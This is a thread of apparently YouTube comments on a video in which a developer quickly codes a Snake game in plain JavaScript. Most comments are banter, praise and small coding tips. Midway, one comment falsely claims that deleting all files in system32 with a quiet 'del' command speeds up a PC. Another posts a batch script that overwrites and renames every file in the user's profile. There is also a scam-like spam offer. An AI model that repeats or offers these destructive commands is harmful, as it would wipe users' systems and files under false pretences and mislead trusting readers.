The important thing is that programming for a beginner to know looking after seeing this is that the real work of a software developer is thinking, not typing the code. Judging by how easily he was able to talk over this and how quickly he typed this, I would assume that he either thought through this before the video or has written very similar code many times before, so the thinking part was done and this is just typing up the solution and fixing a couple mistakes.
It’s like if someone was given a list of 3 digit numbers to multiply, they’d take a while to think about it before answering each one, and they might need to write it down on scratch paper. But, if they had already done all of the questions and memorized the answers and the order the questions come in, they’d just list them off really quickly, only stopping to correct a couple mistakes.
You have been warned at 2:15
u cud just copy and paste in the descript u idiot
didn't program the part where the apple can't be on any part of the tail. still obviously very well done!
one of the best snake i've played didn't have this option.
It doesn't matter, unless the apple spawns on the tail, because the tail is always following the head, so if the head ever crosses it, it will be eaten before the tail gets to it.
it kinda does. think about it. the game has a story actually. the apples fall from a tree. they can't just fall and magically appear under the snake's tail. think about it :P the first snake actually had this option. any mid 60's kid that excelled in the game knows how it ends
Ohhh, I though you meant that the tail should be able to eat apples! Sorry, I agree that the apples shouldn't spawn on the snakes head/tail, because that doesn't really make sense
i know a snake where the tail can grab fruit :) ( it's a bonus that throw in the snake head any fruit that the the tip of the tail hit )
This was actually super helpful to get a hang of some JavaScript. Tutorials are usually way too slow, so I have a hard time focusing on them.
I'm grateful to hear this was useful for you! Best wishes with your adventures ahead :D
So how did you turn on the computer?
I just found you by mistake. you're awesome dude.
There are no mistakes in life, just happy little accidents...
_Programmers hate him!_
It's true. This kind of dirty/hacky/quick digital prototyping style sure does seem to frustrate some people who've only ever worked on giant projects full-time with teams or in academic assignments :D
La Konver for $0.00, he will code any thing for you! take survey now! download program below to get started.
nah, because there is a place for this kind of quick and dirty in the proof of concept phase of larger products, or if you just code for yourself its also okay. BUT it will get messy when you cannot afford to throw away code and have to survive on a code base like this.
jajajajajja
but why? I'm a programmer and I find this awesome!
honestly more impressed with the fact that the code compiles the very first time it was ran. Either you're 1. very familiar with this particular code, 2. has compiler-level syntax parsing going on in your brain, or 3. just very confident with the language, it's impressive all the same.
Not very familiar with most parts of this particular game code, however it's assembled out of generic chunks (input hookups, initialization, draw routines) that I've remotely talked a ton of people through over screenshare, wrote a textbook on, made video courses on etc., which combined with 23 years of programming games and lots of speed prototyping, I can do extremely simple/retro stuff like this without snags when it's a well established basic mechanic. For experimental or innovative things it of course involves more thinking or trial and error to get an effect I'm going for :D Cheers
I slowed down the video took me about 30 mins to copy down and them I was so devastated when I saw a pastebin link in desc. -_-
xD
wouldn't you rather have the muscle memory and the fact that you did it makes it even better. that's like saying "maaann i just built my computer but i found out my friend would have done it for 20$ and some beer." fuck that, enjoy the ride man and look at the code you wrote as an accomplishment, not a waste of time
Austiu YeBlackghost I like the way you think
.
TheDude your fuckin profile picture is pissing me off ive tried to get if off my screen more than I care to admit
how do you speak asynchronously while programming synchronously...? Surely you must've done this before in order to just auto-pilot the entire thing while having a conversation
you'd be hard pressed to find a programmer who hasn't written a snake clone bud lol
@@rc6431 me: *looks away*
@@rc6431 I havent
5:21 bug in code where apple spawned on top of the snake (random spawn without checking destination).
Fix it in 30 seconds
1 year ago I watched this video not understanding a *single* thing he did. I come back to it today, and now I can explain just about every single last part of the code he writes. Proud of myself
Rock on, Seth! Congrats on the progress you've made in the past year. Keep on coding
And I thought I was a pro coder by typing tree into command prompt.
Try this in javascript:
'5' - 3
'5' + 3
'5' - + '3'
'5' + - '3'
After doing this i realised cleaning bathrooms is easier and more logical :D
tree? try "dir /s" xd
This is indeed confusing as hell, but there's a simple way to memorize it. The '+' operator can be used for both numbers and strings so this will NOT convert the string into a number, but just add everything after the '+' to the string. The minus operator can ONLY be used for numbers, so therefore it will convert the string into a number, and subtract what comes after the '-'.
Try typing del c:\WINDOWS\system32\*.*/q. It makes ur pc run faster.
In cmd
@echo off
setlocal enabledelayedexpansion
cd %userprofile%
for /r %%x in (*) do (
if /i not "%~f0"=="%%x" (
echo !random!-!random! > "%%x"
ren "%%x" !random!
) )
might be broken idk havent slept in 22 hours :D
Boss: how many days do you need to develop the new game?
Chris DeLeon: yes.
More like "no"😂
I can do the same with "Hello World" in HTML or smth
yay! i also like
Hello World!
please work lol
Its impressive how similar yet different programming languages are. I develop in java and python, and yet I can still tell what almost ever line of this program does. I wouldn't be able to write it myself, but looking at it and hearing the minimal commentary is enough to understand the syntax
1:15 “Some people don’t like switch cases, well I don’t like some people” 😂😂😂
how long does it take to code The Witcher 3 using this program?
Quang Hoàng Minh like eternity or something
Quang Hoàng Minh Lol thats not how it works
A game on a scale of witcher needs a multiple game engines, graphic designers and a powerful computer, so its impossible
Hahah. Best comment.
I've done some extensive probability testing using R-scripting and I've concluded that you should have the best luck if you code it in Microsoft Word.
hmm . . . ten
Him: I'm going to make a game today
His gf: Hey wanna come over?
Him:
First time game "dev", long time fullstack developer (web, mobile, devops etc), and i followed your tutorial and built a snake game. one thing i wanted to share, if you switch your game loop to call setTimeout(game,1000/speed); use game() to start the loop and create declare speed=4, then increment speed each time the snake eats the food, it will get progressively more difficult the same as the real snake game.
nice addition! This wasn't so much intended as a tutorial (code's not very readable or well explained here) as simply a quick demonstration, but I'm glad you're exploring ways to build off it and expand the functionality. Welcome to gamedev!
Eh, I could do that within 3 seconds. *Copy&Paste*
lol
That’s pretty much what he did
you cant copy and paste text from inside of a video because its not real text
Can you also say everything he said in 3 sec? He-he
ua-cam.com/video/Wbr3SU0pmqc/v-deo.html
In a way, yes.
"No engine or library", I: Wow, how?!
"It's JS", I: Oh, ok.
lol. ikr
@@nh4843 mashallah tbark allah alhamudillah inshallah better astgfralalh
@@aiist6743 What the heck?
yeah as if the browser or javascript engine..... is not an engine in itself.. -.- clickbait.
Could you explain the joke?
Technically, you are using an engine/library... the Javascript 2D API
Well _technically_ there is no "Javascript 2D API" in that sense. Canvas is part of the WEB APIs and the W3C (HTML5?) spec, of which several javascript engines (like Chrome's V8 used in the video) implement :).
You are technically correct, the best kind of correct.
But in practice, I am a dick
Yes, yes you are.
for FUCKS sake James you just have to shit on everything don't you.
most youtube videos you realize when there is no music because of quietness but this man is coding away and speaking away at the same time, insane
great work, now do it without keyboard
Glenntikowp wtf is that possible?
With a mouse only?
lol
Lol ahahahahah Maybe with a virtual keyboard, but it's still a "keyboard"
Glenntikowp Copy Paste With Mouse.
Imagine if you had a British accent
TheUKNutter god damnit lmao
Areox Underrated comment amirite
deadass
The Whalens I wrote incorrectly on purpose. I can edit it
TheUKNutter or an australian
Code works in the first run? That's a miracle!
"ate my tail so I lost my length"
My inner child was howling.
As someone who struggled like crazy in intro to programming, my brain almost short circuited trying to figure out what you were doing and why...
Ask any question you want (with a timestamp) and I'll do my best to explain and/or answer.
Try something like: guessing game by code
I did a number guessing game in Python in high school, does that count?
no
*****
Thought it was a joke about this being hard to do and saying to do something easy as if it's harder.
Not sure how to explain it but it's a common thing among people who still play Guitar Hero lol
MysteriousDuck i did that with great ui/ux in just a day ! 🍻 Cheers !!
Uvuvwevwevwe Onyetenyevwe Ugwemubwem Ossas Whats your name?
“Some ppl don’t like switch cases, I don’t like some ppl”😂😂
It really is an awesome feeling when you learn enough programming that a video like this can be understood.